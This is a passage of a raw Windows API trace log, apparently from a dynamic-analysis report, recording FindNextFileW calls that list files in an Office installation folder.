hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd36584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd36584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ocapires.dll", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcHelperResource.dll", cAlternateFileName="OCHELP~1.DLL")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16f0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcPubRes.dll", cAlternateFileName="")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeinventoryagentfallback.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeinventoryagentlogon.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="ONENOT~1.HXC")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="ONENOT~1.HXT")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="ONENOT~2.HXK")) returned 1 [0186.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="ONENOT~1.HXK")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcfce125, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x499f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="ONGUID~1.ONE")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc774d49, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc774d49, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc774d49, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x294d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x140b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.CHM", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10880, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCINTL.DLL", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x388a139, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x388a139, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x388a139, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13290, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0186.985] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x721a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1467a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa538a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="OUTLOO~1.HXC")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa25e3e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa25e3e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="OUTLOO~1.HXT")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c42224, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="OUTLOO~2.HXK")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa284551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="OUTLOO~1.HXK")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e03f98, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e03f98, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e03f98, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x39e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0186.986] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3acdc360, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3acdc360, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b580a61, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x431068, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d74ea0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d74ea0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d74ea0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3060, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70876, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="POWERP~1.HXC")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="POWERP~1.HXT")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="POWERP~1.HXK")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, 